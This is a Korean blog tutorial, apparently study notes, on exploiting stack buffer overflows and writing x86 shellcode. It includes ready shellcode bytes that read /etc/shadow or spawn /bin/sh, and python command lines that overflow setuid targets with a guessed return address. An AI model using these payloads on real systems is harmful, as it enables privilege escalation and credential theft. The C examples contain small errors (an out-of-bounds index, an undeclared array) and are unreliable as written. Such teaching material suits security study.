본문 바로가기
프로그래밍/SYSTEM HACKING

[SYSTEM HACKING] 시스템 취약점 - 버퍼 오버플로우( Buffer Overflow ) / 인자에 대한 취약점 및 표준입력에서 취약점

by B T Y 2017. 11. 16.
반응형

시스템 취약점 - 버퍼 오버플로우( Buffer Overflow ) / 인자에 대한 취약점 및 표준입력에서 취약점에 대해서 정리한다.

 

 

취약점

 

  - "Smashing the stack for fun and profit"

  - 1995년 by Aleph One

  - 최초의 스택 오버플로우 문서

 

 

 

! 시스템 취약점 거의 대부분이 오버플로우 취약점

 

  - 임의의 코드를 실행할 수 있는 취약점

  - 악성코드 배포

      ...

 

 

1. 취약점의 원인

 

  - 취약한 함수를 사용

  - scanf, gets, strcpy, recv, ...

 

 

2. 취약한 프로그램의 작성

 

  - buffer overflow

  - stack overflow

 

  - 오버플로우 취약점이 존재하는 경우 메모리의 값을 변조할 수 있다.

 

  - 모든 경우에 있어서 항상 모든 메모리의 값을 변조하는 건 불가능

     ( 프로세스에 대한 메모리 분석을 통해서 프로세스의 흐름과 사용 가능한 메모리 부분을 찾아내야한다 )

 

 

3. 취약점 Vs. 에러

 

  - 모든 취약점은 에러이다.

     ( 에러에서 취약점으로 발전하게 된다 )

 

  - 모든 에러가 취약점이 될 수는 없다.

 

 

4. 오버플로우를 이용한 메모리 변조

 

  - 오버플로우 취약점이 존재한다면 아래와 같은 메모리 변조가 가능하다.

 

입력 값을 받아서 해당 내용을 그대로 출력하는 프로그램

 

  - 정상적으로 동작한 프로세스 결과

#> ./cat

CAT: CAT

CAT: CAT

 

 

  - 오버플로우 취약점을 이용해서 메모리를 변조한 결과

#> ./cat

CAT: CAT

CAT: DOG

 

  - 메모리 변조 - 2

#> ./cat

CAT: 0x12345678

CAT: 0x12345678

 

 

#> ./cat

CAT:0x12345678

CAT:0x87654321

 

! 숫자를 입력하고자 하는 경우에는 반드시 문자열 이스케이프를 같이 이용해야한다.

   ./cat $(python -c 'print "A" * 20 + "\x21\x43\x65\x87"')

 

! 원하는 메모리에 원하는 값을 입력하는게 가능

 

 

 

( 여기서는 버퍼 오버플로우 취약점을 알아보기 위해서 취약한 함수인 gets()를 사용했다 )

 

 

( hello를 입력한 경우 buffer2의 크기인 20을 넘지않기 때문에 아무 이상없이 정상적으로 결과가 나오게 된다.

하지만 gets() 같은 함수는 입력을 받을때 얼마만큼 받을지 입력 값에 대한 길이를 지정하지 않기 때문에

해당 부분이 취약점이 된다. )

 

 

( 여기서 알 수 있는점은 입력 값의 길이를 체크하지 않는 함수를 사용했을때 해당 버퍼보다

큰 입력 값이 들어오게 된다면 다른 메모리 공간까지 덮어쓰게 된다는 점이다.

그리고 gdb에서 설정 해놓은 display 결과를 보면 알 수 있듯이 eip 레지스터의 주소 값 또한 덮어 써지게 된다는 것이다. )

 

 

 

 

5. 입력할 수 없는 숫자( bad-char )

 

 

1). NULL 문자 - 0x00

 

#> ./cat

CAT:0x12345678

CAT:0x00000001

 

  ! 우회 방법이 존재하지 않는다.

  ! 메모리의 값을 0으로 변조를 해야 하는 경우에는 다른 방법을 찾아야한다.

 

 

2). 화이트 스페이스( 0x20, 0x0a, 0x09 )

 

  - strcpy에서 특정 인자값만 복사하는 경우에는 사용할 수 없다.

 

  - 회피: 문자열 이스케이프를 사용(뉴라인은 제외)

  - fgets, gets, ... 사용하는 경우에는 사용이 가능

 

 

3). 0xff

 

  - bash 쉘 자체의 버그

  - 회피: 쉘을 교체(bash2)

 

 

6. 취약점

 

  - 오버플로우 취약점이 존재하는 경우에 메모리 변조를 통해서 eip 레지스터의 값을 변조하는게 가능

  - 프로그램의 실행 흐름을 변경하는게 가능

  - 즉, eip 레지스터에 유효한 주소로 변조

 

 

7. 어떤걸 실행할거냐?

 

  - 유효한 주소 -> 메모리에 존재하는 특정 명령어

 

  - 이미 만들어진 프로그램내에 공격자가 원하는 명령어가 존재할리 없다.

  - 혹은 존재한다고 해도 그게 무슨 의미가 있나?

 

  - 왜 굳이 취약점이 존재하는 프로그램 내에서 명령어를 실행하도록 할까?

 

 

8. setuid왜 굳이 취약점이 존재하는 프로그램 내에서 명령어를 실행하도록 할까?에 대한 대답 )

 

  - 권한이 없는 사용자라 할지라도 setuid가 있으면 해당 프로그램의 소유자의 권한을 행사할 수 있다.

 

  ! 타겟 프로그램에 취약점이 존재하고

  ! 타겟 프로그램에 setuid 권한이 존재한다면

 

  !! 권한 상승 가능

 

 

9. 임의의 명령어를 실행

 

  - 공격자가 실행하길 원하는 코드를 미리 작성

  - 해당 공격코드를 타겟 프로세스의 메모리에 강제로 업로드

 

  - C로 작성 -> 기계어 -> 메모리에 업로드

 

 

10. 공격 코드 작성

 

[1] C로 작성

 

  - C로 코드를 작성 -> 기계어를 뽑아낸다.

 

1). 문제 - 1

 

  - ELF 파일 전체가 메모리에 있어야 명령어를 실행할 수 있다.

  - 우리는 기계어 코드만 메모리에 존재하기 때문에 실행될 수 없다.

 

  - 해결: 데이터 세그먼트 없이 실행 가능하도록 만들어야 한다. -> stack

 

 

 

 

 

2). 문제 - 2

 

  - 라이브러리 함수의 주소가 항상 일정하다는 보장이 없다.

 

  - 해결: 주소를 사용하지 않고 함수를 사용 -> 시스템 콜

 

 

[2] 어셈블리어를 이용해서 원하는 코드를 작성

 

  - 직접 메모리를 제어할 수 있다.

  - 데이터/bss 세그먼트 없이 프로그램을 작성

  - 기계어만 가지고 실행이 가능한 환경을 구성

 

 

1). 스택 메모리에 문자열을 구성( 문제 - 1 해결 )

 

  - "/bin/cat /etc/shadow"를 실행하는 쉘코드를 만든다면

  - push 명령을 이용해서 스택에 문자열을 넣는다.

 

 

2). system -> 시스템 콜( 문제 - 2 해결 )

 

  - execve 시스템 콜로 대체

 

 

 

( 데이터/bss 세그먼트를 사용하지 않고 라이브러리 함수 또한 사용하지 않은 기계어로만 이루어진

어셈블리 코드이다 )

 

 

( 정상적으로 실행이 되므로 해당 어셈블리 코드를 이제 쉘 코드로 만들어주기 위해서 

NULL 바이트를 제거 해줘야 한다!! )

 

 

[ C언어 코드 ]

  char *sh[3];

 

  sh[0] = "/bin/cat";

  sh[1] = "/etc/shadow";

  sh[3] = 0

 

  execve( sh[0], sh, 0 );

 

 

3). NULL 바이트 제거

 

  - objdump -d를 이용해서 해당 코드에 NULL 바이트가 존재하는지 확인한다.

  - 숫자 대신에 레지스터를 사용

  - 입력값의 크기에 맞는 레지스터를 사용

 

 

 

( NULL 바이트가 있으면 쉘 코드가 정상적으로 실행이 되지 않기 때문에 쉘 코드로 만들기 전에

NULL 바이트부터 제거 해줘야 한다 )

 

 

( NULL 바이트를 제거하기 위해서는 0을 사용하지 않아야 하는데 

여기서는 레지스터를 초기화해서 레지스터에 직접 0값을 할당하지 않으므로

NULL 바이트를 제거 했다 )

 

 

[3] 완성된 코드의 형태(임의의 코드)

 

\x31\xd2\x52\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x52\x8d\x44\x24\x10\x50\x8d\x44\x24\x08\x50\x31\xc0\xb0\x0b\x8b\x1c\x24\x89\xe1\xcd\x80

--> 51byte

 

 

1). 동작 확인

 

      int main()

     {

        char *code = "\x31\xd2\x52...";        // shellcode

        int(*func)() = code;

 

        func();

        return 0;

      }

 

      #> gcc file.c

      #> ./a.out

      - 실행결과: /bin/cat: /etc/shadow: Permission denied

 

  !! 만들어진 코드만으로 실행이 가능함을 확인할 수 있다.

  !! 권한이 없기 때문에 권한이 있는 타겟 프로그램에서 해당 코드가 실행된다면 제대로 실행이 될 수 있을 것이다.

 

 

 

 

 

[4]. 시나리오 완성

 

1). 타겟 프로세스의 메모리 분석

 

  - eip에 들어갈 값을 구해야 한다.

 

 

2). 메모리에 만든 코드를 업로드

 

$(python -c 'print "\x31\xd2\x52\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x52\x8d\x44\x24\x10\x50\x8d\x44\x24\x08\x50\x31\xc0\xb0\x0b\x8b\x1c\x24\x89\xe1\xcd\x80" + "A" * 53 + "\x14\xfa\xff\xbf"')

 

  - illegar instruction 에러가 나오면 16byte씩 주소를 위 아래로 변경해주면서 추측해준다. ( 아래 !에 적힌 내용 참고 )

 

  ! 디버거에서 확인한 프로세스의 메모리와 실제 메모리는 차이가 있다.

  ! 정확한 주소를 추측하는건 불가능

 

  ! 16바이트 단위로 주소를 보정하면서 정확한 메모리 주소를 찾아야 한다. ( 과거 해커들에 의해서 밝혀진 사실이라고 한다 )

 

 

 

[실습]  /bin/sh 명령을 실행하는 쉘 코드를 작성

 

 

[C언어 코드]

int main()

{

  sh[0] = "/bin/sh";

  sh[1] = 0;

 

  execve( sh[0], sh );

  return 0;

}

 

 

[어셈블리어 코드]

section .text

global _start

 

_start:

xor eax, eax

push eax

push '//sh'

push '/bin'

mov ebx, esp

 

push eax

push ebx

 

; execve system call

mov al, 0bh

mov ecx, esp

xor edx, edx

int 80h

 

- /bin/sh 명령을 실행하는 쉘 코드

   ( 25 byte 쉘 코드 사용!! 23 byte 쉘 코드의 경우에는 실행을 완벽하게 보장하지 못한다 )

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\xb0\x0b\x89\xe1\xcd\x80 ( 23 byte )

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\xb0\x0b\x89\xe1\x31\xd2\xcd\x80 ( 25 byte )

 

  - $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\xb0\x0b\x89\xe1\x31\xd2\xcd\x80" + "A" * 79 + "\x14\xfa\xff\xbf"')

 

 

  ! 타겟 프로그램의 형태에 따라 공격의 형태도 변한다.

 

 

 

 

!! 표준입력에서 취약점이 발생하는 경우

 

  - 숫자를 입력할 방법이 없다.

 

  - 파이프 라인을 이용해 출력할 값을 표준 출력으로 보낸 후 다음 프로세스의 표준 입력으로 전달

    ( python -c 'print "A" * 10 | ./vul1 )

 

  - (python -c '...';cat) | ./target

    ( 표준 입력이 끈키지 않기위해서 뒤에 ;cat 명령을 이용해서 표준입력을 유지해준다 )

 

  - 공격에 성공해 쉘이 실행이 되도 프롬프트가 보이지 않는다.

     ( 이런 경우 id 명령을 이용해서 확인 해보면 된다 )

 

  - 주소 보정 작업은 동일하게 진행

 

  - GDB를 통해서 메모리의 상황을 직접 볼 수 없기 때문에 추측으로만 공격을 수행해야 하기 때문에 매우 까다롭다.

 

 

  ! 16바이트 단위로 주소를 보정하면서 정확한 메모리 주소를 찾아야 한다.

    ( 과거 해커들에 의해서 밝혀진 사실이라고 한다 )

 

 

 

 

반응형

댓글